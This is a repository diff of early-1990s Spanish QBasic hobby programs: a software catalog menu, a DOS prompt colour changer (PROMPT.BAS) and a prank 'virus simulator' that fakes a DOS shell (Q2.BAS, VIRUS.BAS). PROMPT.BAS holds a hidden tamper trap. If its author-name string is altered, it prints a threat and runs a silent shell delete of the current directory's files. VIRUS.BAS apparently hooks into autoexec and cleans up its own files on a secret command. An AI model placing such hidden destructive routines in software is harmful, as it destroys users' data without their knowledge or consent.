LOCATE 21, 33: PRINT " 1993, 1§BTI "
pause:
IF INKEY$ = "" THEN GOTO pause
FOR Q = 14 TO 22: LOCATE Q, 33: PRINT SPC(37); : NEXT Q
GOTO subbrutinas
subbrutinas:
GOSUB secuencia
GOSUB menu2
GOSUB secuencia2
GOTO espera2
END
menu1:
COLOR 7, 1, 1
CLS
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ßßßßßßßÛ ÛßßÜ ³ø ø³ ";
PRINT "³ Juegos ³± Û Û ßÜ ³ø Catalogo v3.0 ø³ ";
PRINT "³ ³± Û Û ßÜ ³ø ø³ ";
PRINT "³ Musica ³± Û Û Û ³ø F1 Help ø³ ";
PRINT "³ ³± Û Û Û Üß ³ø F2 Exit to DOS ø³ ";
PRINT "³ Procesadores de textos ³± Û Û Û Üß Ü³ø ø³Ü ";
PRINT "³ ³± ßÜÜÜÜß ÛÜÜß ÛÛ ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜ";
PRINT "³ Pgr. Contabilidad ³± ÛÛÛÛonÛlineÛ°ÛlfÛ°ÛÛÛÛÛÛ";
PRINT "³ ³± Jos‚ David Guill‚n '93 ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ";
PRINT "³ Pgr. Electronica ³± "
PRINT "³ ³±"
PRINT "³ Graficos ³± ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿";
PRINT "³ ³± ³ ³±";
PRINT "³ Utilidades ³± ³ ³±";
PRINT "³ ³± ³ ³±";
PRINT "³ Copiones ³± ³ ³±";
PRINT "³ ³± ³ ³±";
PRINT "³ Lenguajes ³± ³ ³±";
PRINT "³ ³± ³ ³±";
PRINT "³ Anti_virus ³± ³ ³±";
PRINT "³ ³± ³ ³±";
PRINT "³ - MENé PRINCIPAL - ³± ³ ³±";
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ± ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±";
PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±";
RETURN
menu2:
COLOR 7, 1, 1
LOCATE 2, 32: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿±";
LOCATE 3, 32: PRINT "³ Men£ actual: MENé PRINCIPAL ³±";
LOCATE 4, 32: PRINT "³ ³±";
LOCATE 5, 32: PRINT "³ Imprimir Lista ³±";
LOCATE 6, 32: PRINT "³ Grabar programas elegidos ³±";
LOCATE 7, 32: PRINT "³ ³±";
LOCATE 8, 32: PRINT "³ Creditos ³±";
LOCATE 9, 32: PRINT "³ ³±";
LOCATE 10, 32: PRINT "³ Men£ de Datos ( JD ) ³±";
LOCATE 11, 32: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ";
LOCATE 1, 32: PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±";
COLOR 9, 1, 1
LOCATE 10, 39: PRINT "Men£ de Datos ( JD )"
COLOR 7, 1, 1
RETURN
menu3:
COLOR 7, 1, 1
LOCATE 2, 32: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿±";
LOCATE 3, 32: PRINT "³ Men£ actual: Men£ de Datos ( JD ) ³±";
LOCATE 4, 32: PRINT "³ ³±";
LOCATE 5, 32: PRINT "³ Introducir nuevos programas ³±";
LOCATE 6, 32: PRINT "³ Borrar programas ³±";
LOCATE 7, 32: PRINT "³ ³±";
LOCATE 8, 32: PRINT "³ Introducir mensaje ³±";
LOCATE 9, 32: PRINT "³ ³±";
LOCATE 10, 32: PRINT "³ Visionar / Borrar pedidos ³±";
LOCATE 11, 32: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ";
LOCATE 1, 32: PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±";
COLOR 7, 1, 1
RETURN
cargachar:
lec$(1) = "þ JUEGOS "
lec$(2) = "þ MUSICA "
lec$(3) = "þ PROCESADORES DE TEXTOS"
lec$(4) = "þ PGRS. CONTABILIDAD "
lec$(5) = "þ PGRS. ELECTRONICA "
lec$(6) = "þ GRAFICOS "
lec$(7) = "þ UTILIDADES "
lec$(8) = "þ COPIONES "
lec$(9) = "þ LENGUAJES "
lec$(10) = "þ ANTI_VIRUS "
lec$(11) = " - Men£ Principal - "
lot$(1) = " Juegos "
lot$(2) = " Musica "
lot$(3) = " Procesadores de textos "
lot$(4) = " Pgr. Contabilidad "
lot$(5) = " Pgr. Electronica "
lot$(6) = " Graficos "
lot$(7) = " Utilidades "
lot$(8) = " Copiones "
lot$(9) = " Lenguajes "
lot$(10) = " Anti_virus "
lot$(11) = " - MENé PRINCIPAL - "
lec2$(1) = "þ IMPRIMIR LISTA "
lec2$(2) = "þ GRABAR PROGRAMAS ELEGIDOS "
lec2$(3) = "þ CREDITOS "
lec2$(4) = "þ MENé DE DATOS ( JD ) "
lot2$(1) = "Imprimir Lista "
lot2$(2) = "Grabar programas elegidos "
lot2$(3) = "Creditos "
lot2$(4) = "Men£ de Datos ( JD ) "
lec3$(1) = "þ INTRODUCIR NUEVOS PROGRAMAS"
lec3$(2) = "þ BORRAR PROGRAMAS "
lec3$(3) = "þ INTRODUCIR MENSAJE "
lec3$(4) = "þ VISIONAR / BORRAR PEDIDOS "
lot3$(1) = "Introducir nuevos programas "
lot3$(2) = "Borrar programas "
lot3$(3) = "Introducir mensaje "
lot3$(4) = "Visionar / Borrar pedidos "
RETURN
END
limlin:
'(LIM)ite -de- (LIN)ea
'Lon=longitud lin=linea col=columna tipo$=" ..z"
LOCATE lin, col: PRINT "þ"
FOR A = 1 TO lon
X:
A$ = INKEY$: IF A$ = "" THEN GOTO X
IF A$ = CHR$(13) THEN GOTO finsec
IF A$ = CHR$(27) THEN GOTO limlin
IF A$ = CHR$(8) THEN GOTO borra ELSE GOTO ponchar
borra:
A = A - 1: IF A < 1 THEN A = 1
LOCATE lin, col + A - 1: PRINT " ": LOCATE lin, col + A - 1: PRINT "þ ": GOTO X
ponchar:
IF A$ < LEFT$(tipo$, 1) OR A$ > RIGHT$(tipo$, 1) THEN GOTO X
IF A = 1 THEN origen$ = STRING$(lon, " "): LOCATE lin, col: PRINT origen$
LOCATE lin, col + A - 1: PRINT A$; : IF A <> lon THEN PRINT "þ" ELSE GOTO X
NEXT A
finsec:
texto$ = "": FOR I = 1 TO lon
IF CHR$(SCREEN(lin, col + I - 1)) = "þ" THEN texto$ = texto$ + " " ELSE texto$ = texto$ + CHR$(SCREEN(lin, col + I - 1))
NEXT
LOCATE lin, col: COLOR 1, 7: PRINT texto$: COLOR 7, 1, 1
PLAY "b64": RETURN
corrector:
IF ERR = 52 OR ERR = 53 THEN fallo = 1: GOTO contrif
IF ERR = 27 THEN GOTO nohaypapel
GOTO fallonoloc
contrif:
RESUME NEXT
END
nohaypapel:
COLOR 14, 1, 1
BEEP
LOCATE 13, 34: PRINT "No hay papel."
sleep=20
LOCATE 13, 34: PRINT " "
GOTO il
fallonoloc:
COLOR 15, 1, 1
LOCATE 13, 33: PRINT "Fallo:", ERR; "RESET PROGRAM"
LOCATE 14, 33: PRINT "PULSE UNA TECLA: ..(JD).."
rti:
IF INKEY$ = "" THEN GOTO rti
GOTO principiodelprincipio
tipodeficha:
IF f = 1 THEN Tf$ = "1"
IF f = 2 THEN Tf$ = "2"
IF f = 3 THEN Tf$ = "3"
IF f = 4 THEN Tf$ = "4"
IF f = 5 THEN Tf$ = "5"
IF f = 6 THEN Tf$ = "6"
IF f = 7 THEN Tf$ = "7"
IF f = 8 THEN Tf$ = "8"
IF f = 9 THEN Tf$ = "9"
IF f = 0 THEN Tf$ = "0"
IF f = 10 THEN Tf$ = "0"
RETURN
help:
COLOR 7, 1, 1
LOCATE 14, 34: PRINT "Ayuda basica, JD."
LOCATE 16, 34: PRINT "Use los cursores, para acceder a"
LOCATE 17, 34: PRINT "los men£s."
LOCATE 18, 34: PRINT "Presione intro para 'entrar'."
LOCATE 19, 34: PRINT "Pulse ESC para retroceder en un Menu."
LOCATE 21, 34: PRINT " Pulse una tecla"
retorico:
IF INKEY$ = "" THEN GOTO retorico
COLOR 7, 1, 1: FOR wq = 13 TO 21: LOCATE wq, 34: PRINT STRING$(37, " "): NEXT
RETURN
END
finp:
COLOR 7, 1, 1
CLS
PRINT " JD, Catalogo vú3.1 "
PRINT : PRINT "Gracias por utilizar este sofware."
PRINT : PRINT "Devuelveme este disco cuando acabes."
PRINT " Gracias..."
END

271
BAS/PROMPT.BAS Normal file
View File

@ -0,0 +1,271 @@
'***************************************************************************
'* Cambiador de color del Prompt del Dos, en Qbasic por Jos‚ David Guill‚n *
'***************************************************************************
CLS
LOCATE 1, 1
PRINT
PRINT : PRINT : PRINT
PRINT " ÚÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄ¿"
PRINT " ³ Tipo ³ 1§ Plano ³ 2§ Plano ³ ³ Texto 1§ ³ Fondo 2§ ³ Tipo 2§ ³"
PRINT " ÃÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄ´"
PRINT " ³ ³ ³ ³ ³ ³ ³ ³"
PRINT " ³ ³ ³ ³ ³ ³ ³ ³"
PRINT " ÀÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÙ"
PRINT " ³ ³ ³ ³ ³ ³"
PRINT " ³ ³ ³ ³ ³ ³"
PRINT " ³ ³ ³ ³ ³ ³"
PRINT " ³ ³ ³ ³ ³ ³"
PRINT " ³ ³ ³ ³ ³ ³"
PRINT " ÀÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÙ"
PRINT : PRINT : PRINT : PRINT
COLOR 15, 0
PRINT "Texto de prueba:"
PRINT
LOCATE 25, 1: PRINT " Use los CURSORES para desplazarse y F2 para terminar";
CONST TRUE = -1
CONST false = NOT TRUE
CurrRow(1) = 2: Col(1) = 5
CurrRow(2) = 8: Col(2) = 16
CurrRow(3) = 8: Col(3) = 27
CurrRow(4) = 8: Col(4) = 41
CurrRow(5) = 8: Col(5) = 52
CurrRow(6) = 2: Col(6) = 63
CurrRowOld(1) = 1
CurrRowOld(2) = 8
CurrRowOld(3) = 1
CurrRowOld(4) = 8
CurrRowOld(5) = 1
CurrRowOld(6) = 1
CurrColO = 1
CurrRow = 1: CurrCol = 1
CurrRowOld = 1
mo$(1) = " Tipo "
mo$(2) = " 1§ Plano "
mo$(3) = " 2§ Plano "
mo$(4) = " Texto 1§ "
mo$(5) = " Fondo 2§ "
mo$(6) = " Tipo 2§ "
men$(1) = "Habilitado"
men$(2) = " Inabil. "
men$(3) = "Habilitado"
men$(4) = " Inabil. "
man$(1) = " Negro "
man$(2) = " Rojo "
man$(3) = " Verde "
man$(4) = " Amarillo "
man$(5) = " Azul "
man$(6) = " Magneta "
man$(7) = " Cian "
man$(8) = " Blanco "
FOR C = 1 TO 8
LOCATE C + 7, Col(2): COLOR 14, 0
PRINT man$(C)
LOCATE C + 7, Col(3): COLOR 14, 0
PRINT man$(C)
LOCATE C + 7, Col(4): COLOR 14, 0
PRINT man$(C)
LOCATE C + 7, Col(5): COLOR 14, 0
PRINT man$(C)
NEXT
CurrRowt(1) = 1
CurrRowt(2) = 1
CurrRowt(3) = 1
CurrRowt(4) = 1
CurrRowt(5) = 1
CurrRowt(6) = 1
GOSUB MoveLin
finished = false
DO
DO
kdb$ = INKEY$
LOOP WHILE kdb$ = ""
SELECT CASE kdb$
CASE CHR$(0) + "H" 'Up Arrow
CurrRowOld = CurrRow
CurrRow = CurrRow - 1
IF CurrRow < 1 THEN CurrRow = CurrRow(CurrCol)
CurrRowt(CurrCol) = CurrRow
GOSUB MoveLin
CASE CHR$(0) + "P" 'Down Arrow
CurrRowOld = CurrRow
CurrRow = CurrRow + 1
IF CurrRow > CurrRow(CurrCol) THEN CurrRow = 1
CurrRowt(CurrCol) = CurrRow
GOSUB MoveLin
CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left or Shift+Tab
CurrRowOld(CurrCol) = CurrRow
CurrColO = CurrCol
CurrCol = CurrCol - 1
IF CurrCol = 0 THEN CurrCol = 6
IF CurrCol = 1 AND CurrRow > 2 THEN CurrRow = 2
CurrRow = CurrRowOld(CurrCol)
IF CurrCol = 6 OR CurrCol = 1 THEN CurrRowOld = CurrRow
GOSUB MoveLin
CASE CHR$(0) + "M", CHR$(9) 'Right or Tab
CurrRowOld(CurrCol) = CurrRow
CurrColO = CurrCol
CurrCol = CurrCol + 1
IF CurrCol = 7 THEN CurrCol = 1
IF CurrCol = 1 AND CurrRow > 2 THEN CurrRow = 2
CurrRow = CurrRowOld(CurrCol)
IF CurrCol = 6 OR CurrCol = 1 THEN CurrRowOld = CurrRow
GOSUB MoveLin
CASE CHR$(0) + "<" 'F2
finished = TRUE
CASE ELSE
BEEP
END SELECT
LOOP WHILE finished = false
LOCATE 23, 1: PRINT "¨Desea sumar el Prompt a la cola del Autoexec.bat (S/N)? "
DO: kdb$ = INKEY$: LOOP WHILE kdb$ = ""
OPEN "prom.bat" FOR OUTPUT AS #1
PRINT #1, "Echo off"
PRINT #1, "CLS"
portero$ = RTRIM$(LTRIM$(STR$(CurrRowt(1) - 1))) + ";3" + RTRIM$(LTRIM$(STR$(CurrRowt(2) - 1))) + ";4" + RTRIM$(LTRIM$(STR$(CurrRowt(3) - 1)))
wer$ = "Prompt $e[" + portero$ + "m$p$g$e[" + RTRIM$(LTRIM$(STR$(CurrRowt(6) - 1))) + ";3" + RTRIM$(LTRIM$(STR$(CurrRowt(4) - 1))) + ";4" + RTRIM$(LTRIM$(STR$(CurrRowt(5) - 1))) + "m"
PRINT #1, wer$
PRINT #1, "echo Prompt por Jos‚ David Guill‚n 1994 (c)"
CLOSE
IF UCASE$(kdb$) = "S" THEN
SHELL "copy c:\autoexec.bat+c:prom.bat"
ELSE
LOCATE 22, 1: PRINT SPACE$(80);
LOCATE 23, 1: PRINT "Se creo un archivo de nombre PROM.BAT con el Prompt "
LOCATE 24, 1: PRINT SPACE$(80);
LOCATE 25, 1: PRINT SPACE$(80);
LOCATE 25, 1
END IF
SYSTEM
END
MoveLin:
COLOR 7, 0
LOCATE 6, Col(CurrColO)
PRINT mo$(CurrColO)
COLOR 3, 0
LOCATE 6, Col(CurrCol)
PRINT mo$(CurrCol)
LOCATE CurrRowOld + 7, Col(CurrCol): COLOR 14, 0
IF CurrRowOld(1) = 1 THEN h = 1 ELSE h = 0
IF CurrRowOld(6) = 1 THEN hdos = 1 ELSE hdos = 0
IF CurrCol = 1 OR CurrCol = 6 THEN PRINT men$(CurrRowOld) ELSE PRINT man$(CurrRowOld)
LOCATE CurrRow + 7, Col(CurrCol): COLOR 14, 15
IF CurrCol = 1 OR CurrCol = 6 THEN PRINT men$(CurrRow) ELSE PRINT man$(CurrRow)
IF h = 0 THEN
SELECT CASE CurrRow
CASE 1: Txto = 0
CASE 2: Txto = 12
CASE 3: Txto = 10
CASE 4: Txto = 14
CASE 5: Txto = 9
CASE 6: Txto = 13
CASE 7: Txto = 11
CASE 8: Txto = 15
END SELECT
ELSE
SELECT CASE CurrRow
CASE 1: Txto = 0
CASE 2: Txto = 4
CASE 3: Txto = 2
CASE 4: Txto = 14
CASE 5: Txto = 1
CASE 6: Txto = 5
CASE 7: Txto = 3
CASE 8: Txto = 7
END SELECT
END IF
IF CurrCol = 2 THEN
Texto = Txto
ELSEIF CurrCol = 3 THEN
fondo = Txto
END IF
IF hdos = 0 THEN
SELECT CASE CurrRow
CASE 1: Txtow = 0
CASE 2: Txtow = 12
CASE 3: Txtow = 10
CASE 4: Txtow = 14
CASE 5: Txtow = 9
CASE 6: Txtow = 13
CASE 7: Txtow = 11
CASE 8: Txtow = 15
END SELECT
ELSE
SELECT CASE CurrRow
CASE 1: Txtow = 0
CASE 2: Txtow = 4
CASE 3: Txtow = 2
CASE 4: Txtow = 14
CASE 5: Txtow = 1
CASE 6: Txtow = 5
CASE 7: Txtow = 3
CASE 8: Txtow = 7
END SELECT
END IF
IF CurrCol = 4 THEN
Despues = Txtow
ELSEIF CurrCol = 5 THEN
DespuesDos = Txtow
END IF
COLOR Texto, fondo
minombre$ = "Jos‚ David Guill‚n Dominguez"
IF MID$(minombre$, 4, 1) <> "‚" THEN GOTO errormo
IF MID$(minombre$, 17, 1) <> "‚" THEN GOTO errormo
LOCATE 23, 17: PRINT minombre$;
COLOR Despues, DespuesDos
LOCATE 23, 47: PRINT "(c) 07/02/1994"
COLOR 7, 0
portero$ = RTRIM$(LTRIM$(STR$(CurrRowt(1) - 1))) + "; 3" + RTRIM$(LTRIM$(STR$(CurrRowt(2) - 1))) + "; 4" + RTRIM$(LTRIM$(STR$(CurrRowt(3) - 1)))
wer$ = "Prompt $e[ " + portero$ + "m $p $g $e[ " + RTRIM$(LTRIM$(STR$(CurrRowt(6) - 1))) + "; 3" + RTRIM$(LTRIM$(STR$(CurrRowt(4) - 1))) + "; 4" + RTRIM$(LTRIM$(STR$(CurrRowt(5) - 1)))
LOCATE 1, 1: PRINT wer$ + "m"
RETURN
END
errormo:
CLS
COLOR 15, 0
PRINT " ATENCION !!! PELIGRO !!!!": PRINT : PRINT
PRINT " Alguien modifico ilegalmente el programa tratando de apropiarse de": PRINT
PRINT " los creditos ajenos a ‚l. Su autor a protegido el sistema por ello": PRINT
PRINT " ya que ha intentado modificar este programa causara estragos en tu": PRINT
PRINT " sistema.... LA PIRATERIA SERA TU MUERTE ": PRINT
PRINT : PRINT : PRINT " Desea regresar al Sistema Operativo DOS o bloquear sistema : "
PRINT " (S)istema (B)loquear (S/B)"
SHELL "Del. >nul"
SYSTEM
END

BIN
BAS/PROVEED.BAS Normal file
View File

Binary file not shown.

107
BAS/Q2.BAS Normal file
View File

@ -0,0 +1,107 @@
PRINT
hud = 80
old$ = TIME$
simulador:
a$ = ""
hud = hud + 1
IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$
PRINT "C:\"; LTRIM$(RTRIM$(ch$)); : INPUT ">", a$
IF RTRIM$(LTRIM$(a$)) = "" THEN GOTO simulador
IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO simulador
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT "Comando o nombre de archivo incorrecto": GOTO simulador
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN
IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO simulador
con = 0: L = 0: lug = 0: p = 0
DO
con = con + 1
L = L - 1
IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO simulador
IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$)))
LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$)))
IF p = 1 THEN ch$ = "": vez = 0: GOTO simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO simulador
END IF
IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN
sum = 0: l2 = 4
DO
sum = sum + 1
l2 = l2 + 1
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO simulador
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO simulador
END IF
IF LEFT$(UCASE$(a$), 2) = "CD" THEN
sum = 0: l2 = 4
DO
sum = sum + 1
l2 = l2 + 1
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO simulador
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO simulador
END IF
'********************************************
'COPIAR DESDE AQUI SI NO SE A¥ADE NADA ARRIBA
'********************************************
RESTORE
B$ = ""
w$ = UCASE$(LTRIM$(RTRIM$(a$)))
WHILE B$ <> "*"
READ B$, wqw$
IF RTRIM$(LEFT$(w$, 4)) = B$ OR RTRIM$(LEFT$(w$, 2)) = B$ THEN GOTO accion
WEND
PRINT "Comando o nombre de archivo incorrecto"
GOTO simulador
DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7
DATA "A:", "Cable de enlace con la unidad A, suelto", "B:", "Cable de enlace con la unidad B, suelto"
DATA *,*
accion:
SELECT CASE VAL(wqw$)
CASE 1
PRINT
PRINT " Volumen en unidad C no tiene etiqueta"
PRINT " N£mero de serie de volumen es 1138-1600"
PRINT
PRINT " Directorio de C:\" + ch$
PRINT
PRINT "Archivo no se encontr¢"
PRINT
GOTO simulador
CASE 2
PRINT "Imposible acceder a unidad requerida"
GOTO simulador
CASE 3
CLS
PRINT
GOTO simulador
CASE 4
PRINT "Fichero no encontrado"
GOTO simulador
CASE 5
COLOR 6
PRINT "Virus-Simuler por JD"
COLOR 7
GOTO simulador
CASE 6
PRINT : PRINT TIME$: GOTO simulador
CASE 7
PRINT : PRINT DATE$: GOTO simulador
END SELECT
PRINT wqw$
GOTO simulador
END

BIN
BAS/REF#.BAS Normal file
View File

Binary file not shown.

2101
BAS/TPV.BAS Normal file
View File

File diff suppressed because it is too large Load Diff

420
BAS/VIRUS.BAS Normal file
View File

@ -0,0 +1,420 @@
DECLARE FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%)
DECLARE SUB borradelauto ()
DECLARE SUB copiarac (est)
DECLARE SUB aumentacarga (global)
DECLARE SUB Simulador ()
inicio:
DIM SHARED virus, c AS INTEGER, global, fc$(100)
CONST TRUE = -1
CONST FALSE = NOT TRUE
veza = 0: vezb = 0
ON ERROR GOTO errores
OPEN "c:\dos\cargas.dat" FOR INPUT AS #1
CLOSE
glob = est
aumentacarga (glob)
IF virus <> 1 THEN GOTO finprog 'Si el virus es distinto de 1 ( off )
'el programa se aborta.
'***** simulador *****
REDIM Curr$(19), One$(19), Two$(19), Three$(19), Four$(19), Five$(19)
PRINT
row% = CSRLIN - 1
hud = 80
old$ = TIME$
Simulador:
row% = row% + 1
a$ = ""
hud = hud + 1
IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$
PRINT
promt$ = "C:\" + LTRIM$(RTRIM$(ch$)) + ">"
'PRINT promt$:
Kbd$ = GetString$(promt$, end$, 80, 80, LEN(promt$), col%)
IF RTRIM$(LTRIM$(UCASE$(end$))) = "JD_EXIT" THEN
CLS
LOCATE 5, 5: PRINT " EL FIN DE TU PESADILLA !!! , Nueva versi¢n en marcha."
borradelauto
SHELL "del c:\dos\cargas.dat >nul"
SHELL "del c:\dos\tempi.bin >nul"
SHELL "del c:\dos\TEMPI.exe >nul"
SYSTEM
END
END
END
END IF
a$ = end$
'*******------------**********------------*********---------**********-----
IF RTRIM$(LTRIM$(a$)) = "" THEN GOTO Simulador
IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO Simulador
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT : PRINT "Omisi¢n de parametros": PRINT : GOTO Simulador
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN
IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO Simulador
con = 0: L = 0: lug = 0: p = 0
DO
con = con + 1
L = L - 1
IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO Simulador
IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$)))
LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$)))
IF p = 1 THEN ch$ = "": vez = 0: GOTO Simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO Simulador
END IF
IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN
sum = 0: l2 = 4
DO
sum = sum + 1
l2 = l2 + 1
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador
END IF
IF LEFT$(UCASE$(a$), 2) = "CD" THEN
sum = 0: l2 = 4
DO
sum = sum + 1
l2 = l2 + 1
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador
END IF
'********************************************
'COPIAR DESDE AQUI SI NO SE A¥ADE NADA ARRIBA
'********************************************
RESTORE
b$ = ""
w$ = UCASE$(LTRIM$(RTRIM$(a$)))
RESTORE datas
WHILE b$ <> "*"
READ b$, wqw$
IF RTRIM$(LEFT$(w$, 4)) = b$ OR RTRIM$(LEFT$(w$, 2)) = b$ THEN GOTO accion
WEND
a = 1: b = 0
DO WHILE b <= LEN(w$) + 1
b = b + 1
IF MID$(w$, b, 1) = " " THEN pal$ = LEFT$(w$, b): EXIT DO
LOOP
valor = 0
q1 = 0: q2 = 0: q3 = 0: q4 = 0: q5 = 0
pal$ = w$
OPEN "c:\dos\tempi.bin" FOR RANDOM AS #1 LEN = 113
FIELD #1, 10 AS IoDate$, 20 AS IoRef$, 20 AS IoDos$, 20 AS IoTres$, 20 AS IoCuatro$, 20 AS IoCinco$
FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$
GET #1, 1
IF valid$ = "*" THEN
MaxRecord = VAL(IoMaxRecord$)
ra = 1
DO WHILE ra <= MaxRecord
GET #1, ra + 1
Curr$ = IoDate$
One$ = IoRef$
Two$ = IoDos$
Three$ = IoTres$
Four$ = IoCuatro$
Five$ = IoCinco$
IF RTRIM$(LTRIM$(pal$)) = RTRIM$(LTRIM$(UCASE$(Curr$))) THEN
IF RIGHT$(RTRIM$(One$), 1) = "?" THEN PRINT : PRINT One$; : INPUT p$ ELSE PRINT : PRINT : PRINT One$;
IF RIGHT$(RTRIM$(Two$), 1) = "?" THEN PRINT Two$; : INPUT "", p$: q1 = 1
IF MID$(Two$, 2, 1) = "#" THEN IF RIGHT$(Two$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Two$, 3, 18); : Q = 1
IF q1 = 0 THEN PRINT Two$
IF RIGHT$(RTRIM$(Three$), 1) = "?" THEN PRINT : PRINT Three$; : INPUT "", p$: q2 = 1
IF MID$(Three$, 2, 1) = "#" THEN q2 = 1: IF LEFT$(Three$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Three$, 3, 18); : q2 = 1
IF q2 = 0 THEN PRINT Three$
IF RIGHT$(RTRIM$(Four$), 1) = "?" THEN PRINT : PRINT Four$; : INPUT "", p$: q3 = 1
